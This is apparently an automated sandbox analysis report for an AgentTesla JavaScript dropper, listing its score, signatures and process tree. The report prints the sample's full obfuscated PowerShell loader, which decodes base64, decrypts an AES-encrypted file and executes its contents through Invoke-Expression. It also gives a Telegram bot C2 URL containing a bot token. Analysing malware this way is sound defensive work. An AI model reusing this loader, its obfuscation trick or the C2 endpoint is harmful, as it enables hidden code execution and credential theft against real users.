Analysis
- max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
02/03/2026, 10:57
General
- Target f9sd9fd0809g7sd8f789g73438g97dsf8g798s7df98g.js
- Size 4.1MB
- Sample260302-m2dg8sdt6d
- SHA256 3dd33674755654a3dc5e182bc04bd1d4bc96cdeec6c1a201819b113e98922b58
Score
10/10
Malware Config
Extracted
Family
-
agenttesla
C2
-
https://api.telegram.org/bot8674746114:AAGKEZyhp-pD06UOU-aY_Rb9gZmwqPKzNbg/
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Agenttesla family
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\f9sd9fd0809g7sd8f789g73438g97dsf8g798s7df98g.js1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Noexit -nop -c iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('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